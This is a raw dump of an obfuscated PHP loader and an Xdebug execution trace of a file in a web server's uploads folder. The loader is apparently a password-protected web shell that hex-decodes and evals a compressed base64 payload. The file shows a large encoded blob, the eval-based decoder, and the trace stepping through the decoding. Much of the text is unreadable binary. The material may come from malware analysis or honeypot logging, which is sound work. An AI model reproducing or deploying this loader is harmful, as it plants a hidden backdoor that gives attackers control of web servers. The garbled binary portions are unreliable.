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')));");
error_reporting(0);
function Class_UC_key($string)
{
$array = strlen(trim($string));
$debuger = $GLOBALS[�][0];
for ($one = 0; $one < $array; $one += 0x2) {
$debuger .= pack($GLOBALS[�][0x1], hexdec(substr($string, $one, 0x2)));
}
return $debuger;
}
eval(Class_UC_key($GLOBALS[�][0x2]) . $GLOBALS[�][0x3]);
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 22:24:01.323020]
1 0 1 0.000307 393528
1 3 0 0.000602 441440 {main} 1 /var/www/html/uploads/ridsaexnlu.php 0 0
1 A /var/www/html/uploads/ridsaexnlu.php 5 $password = 'raynbieovl'
2 4 0 0.000665 441440 error_reporting 0 /var/www/html/uploads/ridsaexnlu.php 7 1 32759
2 4 1 0.000689 441512
2 4 R 22527
2 5 0 0.000714 441472 define 0 /var/www/html/uploads/ridsaexnlu.php 7 2 '�' '�'
2 5 1 0.000738 441576
2 5 R TRUE
2 6 0 0.000763 441504 substr 0 /var/www/html/uploads/ridsaexnlu.php 290 3 '\037�\b\000\000\000\000\000\000\n$�ǒ�\b\026Ec�wX\bo�x�=;��\b��\037��"*j������=�R(���?����?���c\004�C8\v�8A�\004��8�\v8G�\004�~\r!��+0\016\021\b�!8�b\002��ؿ�y��I����)��QE�\a�e.i|2�\024gbP���� /\036���K�m�\023D�u%\024�s\v�:���CJ�C�WNӭ#�1N�\037�[����L�ӴX�|\036!p\000���f �yEY���;\036\022Odz��\035\035A�\006S�\020 8Z-�{��O���%\035��#�{g\025�\034ɾ�"�A�xN\005�M\004\034��\021MΆ\003�t8�\003dQ塚\003\025\032��\020����\003\rcH��\\R�O��!Q�\030��lqfF�]\001����P�Ѣ��G�Шk@aZ��&�&K\t\030i����-6�=��t�.^�' 10 -8
2 6 1 0.001817 482560
2 6 R '$�ǒ�\b\026Ec�wX\bo�x�=;��\b��\037��"*j������=�R(���?����?���c\004�C8\v�8A�\004��8�\v8G�\004�~\r!��+0\016\021\b�!8�b\002��ؿ�y��I����)��QE�\a�e.i|2�\024gbP���� /\036���K�m�\023D�u%\024�s\v�:���CJ�C�WNӭ#�1N�\037�[����L�ӴX�|\036!p\000���f �yEY���;\036\022Odz��\035\035A�\006S�\020 8Z-�{��O���%\035��#�{g\025�\034ɾ�"�A�xN\005�M\004\034��\021MΆ\003�t8�\003dQ塚\003\025\032��\020����\003\rcH��\\R�O��!Q�\030��lqfF�]\001����P�Ѣ��G�Шk@aZ��&�&K\t\030i����-6�=��t�.^�\v]��B?�i}�jRp,�S�ט���/�\a�n�K\'
2 7 0 0.002806 482464 gzinflate 0 /var/www/html/uploads/ridsaexnlu.php 290 1 '$�ǒ�\b\026Ec�wX\bo�x�=;��\b��\037��"*j������=�R(���?����?���c\004�C8\v�8A�\004��8�\v8G�\004�~\r!��+0\016\021\b�!8�b\002��ؿ�y��I����)��QE�\a�e.i|2�\024gbP���� /\036���K�m�\023D�u%\024�s\v�:���CJ�C�WNӭ#�1N�\037�[����L�ӴX�|\036!p\000���f �yEY���;\036\022Odz��\035\035A�\006S�\020 8Z-�{��O���%\035��#�{g\025�\034ɾ�"�A�xN\005�M\004\034��\021MΆ\003�t8�\003dQ塚\003\025\032��\020����\003\rcH��\\R�O��!Q�\030��lqfF�]\001����P�Ѣ��G�Шk@aZ��&�&K\t\030i����-6�=��t�.^�\v]��B?�i}�jRp,�S�ט���/�\a�n�K\'
2 7 1 0.003778 535744
2 7 R '|\002|\001|\002C|\002|\001|\0026576616C28677A756E636F6D7072657373286261736536345F6465636F64652827|\002|\001|\002eJztfXl/2zbS8N/bT8Go7lJKdPjIVcdy4tjOxu86iWs77e5je1VKoi02EqmSVGz3eD/7OwcAAiRISY67x/Oufm0skcBgMAAGg8EcX32V+EkSRGEvSb04rTdefOXHcRT3Yn8axWkQXtVX4Vnip700mPi9cTAJUnoUhEEPHtdrE38Sxbf8ptZsrcG7r1bGvnd55n72Y4TtXnRr6+3ntRfy+bXfT4LUx+f4YOIFYz9uT6+hBNQVGA2ioe90ncnwSb3Xe3NwuN/rYbOX9Qf+ZJre1lemXpJcR/Gw4Xjh0FnpneyfnBx8eH+mA7hwHnSdrOSvXznwCS6depAg8iu94/3vPu6fnJ65WMa9kLByj52uDsVhMPgpa1Ur/oIK/07/+uPE12pP4yBMndrWNPYd'
2 8 0 0.003844 494752 explode 0 /var/www/html/uploads/ridsaexnlu.php 290 2 '|\002|\001|\002' '|\002|\001|\002C|\002|\001|\0026576616C28677A756E636F6D7072657373286261736536345F6465636F64652827|\002|\001|\002eJztfXl/2zbS8N/bT8Go7lJKdPjIVcdy4tjOxu86iWs77e5je1VKoi02EqmSVGz3eD/7OwcAAiRISY67x/Oufm0skcBgMAAGg8EcX32V+EkSRGEvSb04rTdefOXHcRT3Yn8axWkQXtVX4Vnip700mPi9cTAJUnoUhEEPHtdrE38Sxbf8ptZsrcG7r1bGvnd55n72Y4TtXnRr6+3ntRfy+bXfT4LUx+f4YOIFYz9uT6+hBNQVGA2ioe90ncnwSb3Xe3NwuN/rYbOX9Qf+ZJre1lemXpJcR/Gw4Xjh0FnpneyfnBx8eH+mA7hwHnSdrOSvXznwCS6depAg8iu94/3vPu6fnJ65WMa9kLByj52uDsVhMPgpa1Ur/oIK/07/+uPE12pP4yBMndrWNPYd'
2 8 1 0.003909 548544
2 8 R [0 => '', 1 => 'C', 2 => '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827', 3 => 'eJztfXl/2zbS8N/bT8Go7lJKdPjIVcdy4tjOxu86iWs77e5je1VKoi02EqmSVGz3eD/7OwcAAiRISY67x/Oufm0skcBgMAAGg8EcX32V+EkSRGEvSb04rTdefOXHcRT3Yn8axWkQXtVX4Vnip700mPi9cTAJUnoUhEEPHtdrE38Sxbf8ptZsrcG7r1bGvnd55n72Y4TtXnRr6+3ntRfy+bXfT4LUx+f4YOIFYz9uT6+hBNQVGA2ioe90ncnwSb3Xe3NwuN/rYbOX9Qf+ZJre1lemXpJcR/Gw4Xjh0FnpneyfnBx8eH+mA7hwHnSdrOSvXznwCS6depAg8iu94/3vPu6fnJ65WMa9kLByj52uDsVhMPgpa1Ur/oIK/07/+uPE12pP4yBMndrWNPYdbxxchd2BH6Z+vL11GcUTZ+Kno2jYnUZJun0koG06W0E4naVOejv1u65sxHVCbyJ+u9tGkWTWh5Fxnc/eeAY/t7fhfQfhwx9oeLv2QuHj3wTpC/lD']
1 A /var/www/html/uploads/ridsaexnlu.php 7 GLOBALS['�'] = [0 => '', 1 => 'C', 2 => '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827', 3 => 'eJztfXl/2zbS8N/bT8Go7lJKdPjIVcdy4tjOxu86iWs77e5je1VKoi02EqmSVGz3eD/7OwcAAiRISY67x/Oufm0skcBgMAAGg8EcX32V+EkSRGEvSb04rTdefOXHcRT3Yn8axWkQXtVX4Vnip700mPi9cTAJUnoUhEEPHtdrE38Sxbf8ptZsrcG7r1bGvnd55n72Y4TtXnRr6+3ntRfy+bXfT4LUx+f4YOIFYz9uT6+hBNQVGA2ioe90ncnwSb3Xe3NwuN/rYbOX9Qf+ZJre1lemXpJcR/Gw4Xjh0FnpneyfnBx8eH+mA7hwHnSdrOSvXznwCS6depAg8iu94/3vPu6fnJ65WMa9kLByj52uDsVhMPgpa1Ur/oIK/07/+uPE12pP4yBMndrWNPYdbxxchd2BH6Z+vL11GcUTZ+Kno2jYnUZJun0koG06W0E4naVOejv1u65sxHVCbyJ+u9tGkWTWh5Fxnc/eeAY/t7fhfQfhwx9oeLv2QuHj3wTpC/lD']
2 9 0 0.004041 495224 error_reporting 0 /var/www/html/uploads/ridsaexnlu.php 291 1 0
2 9 1 0.004055 495232
2 9 R 32759
2 10 0 0.004071 495168 Class_UC_key 1 /var/www/html/uploads/ridsaexnlu.php 291 1 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'
3 11 0 0.004088 495168 trim 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'
3 11 1 0.004103 495200
3 11 R '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $array = 66
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger = ''
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one = 0
3 12 0 0.004154 495168 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 0 2
3 12 1 0.004171 495296
3 12 R '65'
3 13 0 0.004185 495200 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '65'
3 13 1 0.004198 495248
3 13 R 101
3 14 0 0.004210 495168 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 101
3 14 1 0.004224 495264
3 14 R 'e'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= 'e'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 15 0 0.004259 495200 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 2 2
3 15 1 0.004275 495328
3 15 R '76'
3 16 0 0.004288 495232 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '76'
3 16 1 0.004300 495280
3 16 R 118
3 17 0 0.004313 495200 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 118
3 17 1 0.004326 495296
3 17 R 'v'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= 'v'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 18 0 0.004359 495200 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 4 2
3 18 1 0.004374 495328
3 18 R '61'
3 19 0 0.004387 495232 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '61'
3 19 1 0.004399 495280
3 19 R 97
3 20 0 0.004411 495200 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 97
3 20 1 0.004424 495296
3 20 R 'a'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= 'a'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 21 0 0.004456 495200 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 6 2
3 21 1 0.004471 495328
3 21 R '6C'
3 22 0 0.004484 495232 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '6C'
3 22 1 0.004497 495280
3 22 R 108
3 23 0 0.004509 495200 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 108
3 23 1 0.004522 495296
3 23 R 'l'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= 'l'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 24 0 0.004554 495200 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 8 2
3 24 1 0.004569 495328
3 24 R '28'
3 25 0 0.004582 495232 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '28'
3 25 1 0.004594 495280
3 25 R 40
3 26 0 0.004606 495200 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 40
3 26 1 0.004619 495296
3 26 R '('
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= '('
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 27 0 0.004651 495200 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 10 2
3 27 1 0.004667 495328
3 27 R '67'
3 28 0 0.004679 495232 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '67'
3 28 1 0.004692 495280
3 28 R 103
3 29 0 0.004704 495200 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 103
3 29 1 0.004717 495296
3 29 R 'g'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= 'g'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 30 0 0.004754 495200 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 12 2
3 30 1 0.004770 495328
3 30 R '7A'
3 31 0 0.004783 495232 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '7A'
3 31 1 0.004795 495280
3 31 R 122
3 32 0 0.004807 495200 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 122
3 32 1 0.004820 495296
3 32 R 'z'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= 'z'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 33 0 0.004852 495200 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 14 2
3 33 1 0.004867 495328
3 33 R '75'
3 34 0 0.004880 495232 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '75'
3 34 1 0.004892 495280
3 34 R 117
3 35 0 0.004904 495200 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 117
3 35 1 0.004917 495296
3 35 R 'u'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= 'u'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 36 0 0.004952 495208 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 16 2
3 36 1 0.004968 495336
3 36 R '6E'
3 37 0 0.004981 495240 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '6E'
3 37 1 0.005046 495288
3 37 R 110
3 38 0 0.005063 495208 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 110
3 38 1 0.005076 495304
3 38 R 'n'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= 'n'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 39 0 0.005110 495208 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 18 2
3 39 1 0.005126 495336
3 39 R '63'
3 40 0 0.005138 495240 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '63'
3 40 1 0.005151 495288
3 40 R 99
3 41 0 0.005163 495208 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 99
3 41 1 0.005176 495304
3 41 R 'c'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= 'c'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 42 0 0.005209 495208 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 20 2
3 42 1 0.005224 495336
3 42 R '6F'
3 43 0 0.005237 495240 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '6F'
3 43 1 0.005250 495288
3 43 R 111
3 44 0 0.005262 495208 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 111
3 44 1 0.005275 495304
3 44 R 'o'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= 'o'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 45 0 0.005307 495208 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 22 2
3 45 1 0.005322 495336
3 45 R '6D'
3 46 0 0.005334 495240 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '6D'
3 46 1 0.005347 495288
3 46 R 109
3 47 0 0.005359 495208 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 109
3 47 1 0.005372 495304
3 47 R 'm'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= 'm'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 48 0 0.005404 495208 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 24 2
3 48 1 0.005420 495336
3 48 R '70'
3 49 0 0.005432 495240 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '70'
3 49 1 0.005445 495288
3 49 R 112
3 50 0 0.005457 495208 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 112
3 50 1 0.005470 495304
3 50 R 'p'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= 'p'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 51 0 0.005503 495208 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 26 2
3 51 1 0.005522 495336
3 51 R '72'
3 52 0 0.005535 495240 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '72'
3 52 1 0.005547 495288
3 52 R 114
3 53 0 0.005560 495208 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 114
3 53 1 0.005572 495304
3 53 R 'r'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= 'r'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 54 0 0.005604 495208 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 28 2
3 54 1 0.005619 495336
3 54 R '65'
3 55 0 0.005632 495240 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '65'
3 55 1 0.005644 495288
3 55 R 101
3 56 0 0.005656 495208 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 101
3 56 1 0.005669 495304
3 56 R 'e'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= 'e'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 57 0 0.005707 495208 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 30 2
3 57 1 0.005728 495336
3 57 R '73'
3 58 0 0.005747 495240 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '73'
3 58 1 0.005765 495288
3 58 R 115
3 59 0 0.005778 495208 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 115
3 59 1 0.005791 495304
3 59 R 's'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= 's'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 60 0 0.005824 495216 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 32 2
3 60 1 0.005839 495344
3 60 R '73'
3 61 0 0.005852 495248 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '73'
3 61 1 0.005864 495296
3 61 R 115
3 62 0 0.005877 495216 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 115
3 62 1 0.005890 495312
3 62 R 's'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= 's'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 63 0 0.005921 495216 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 34 2
3 63 1 0.005936 495344
3 63 R '28'
3 64 0 0.005949 495248 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '28'
3 64 1 0.005961 495296
3 64 R 40
3 65 0 0.005973 495216 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 40
3 65 1 0.005986 495312
3 65 R '('
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= '('
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 66 0 0.006018 495216 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 36 2
3 66 1 0.006034 495344
3 66 R '62'
3 67 0 0.006062 495248 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '62'
3 67 1 0.006078 495296
3 67 R 98
3 68 0 0.006096 495216 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 98
3 68 1 0.006113 495312
3 68 R 'b'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= 'b'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 69 0 0.006157 495216 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 38 2
3 69 1 0.006177 495344
3 69 R '61'
3 70 0 0.006194 495248 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '61'
3 70 1 0.006210 495296
3 70 R 97
3 71 0 0.006227 495216 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 97
3 71 1 0.006243 495312
3 71 R 'a'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= 'a'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 72 0 0.006286 495216 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 40 2
3 72 1 0.006314 495344
3 72 R '73'
3 73 0 0.006337 495248 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '73'
3 73 1 0.006354 495296
3 73 R 115
3 74 0 0.006371 495216 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 115
3 74 1 0.006388 495312
3 74 R 's'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= 's'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 75 0 0.006432 495216 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 42 2
3 75 1 0.006453 495344
3 75 R '65'
3 76 0 0.006469 495248 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '65'
3 76 1 0.006485 495296
3 76 R 101
3 77 0 0.006502 495216 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 101
3 77 1 0.006519 495312
3 77 R 'e'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= 'e'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 78 0 0.006562 495216 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 44 2
3 78 1 0.006582 495344
3 78 R '36'
